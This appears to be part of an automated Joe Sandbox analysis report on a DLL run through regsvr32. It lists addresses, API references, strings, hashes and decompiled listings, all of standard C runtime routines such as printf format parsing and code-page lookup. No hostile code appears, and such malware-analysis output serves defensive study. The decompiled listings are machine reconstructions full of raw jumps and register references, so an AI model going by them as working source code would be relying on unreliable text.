0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction ID: 14f8518244b6aa56c92c2133ed4feb23c5223715f37474fc6187c6031a63ef29
Opcode Fuzzy Hash: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction Fuzzy Hash: 94414DB2A0C6C28AE7F09B64E8407BEB2E4F384746F600125D6C9875E8DB3DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

%.2X , xrefs: 000007FEF9D26DAD
(*_errno()), xrefs: 000007FEF9D26DF9
_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction ID: d4871e39cfd66166000c08c845a9e51e3e7b3f71581565f00727d2aef18c331a
Opcode Fuzzy Hash: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction Fuzzy Hash: C8415972A0D7C186E7A49B55E8903AEBBA0F784740FA14126E6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

P, xrefs: 000007FEF9D382B7
sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
_wcstombs_s_l, xrefs: 000007FEF9D38290

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction ID: a80555c9662aee50eaf55af6b2d7c09464ca7ea00ccabcf41043a4b878837ec0
Opcode Fuzzy Hash: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction Fuzzy Hash: 4B511726A0DBC586E6B48B19E84476EB3E0F386361F204625D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction ID: 366f55b25be61a8d80973343189ccb34eb8cf05d0f6555861afeb0151a731927
Opcode Fuzzy Hash: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction Fuzzy Hash: 1A414C72A0D6C28AE3B0DB24E8547BEB7E4F384345F600126E6D887AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
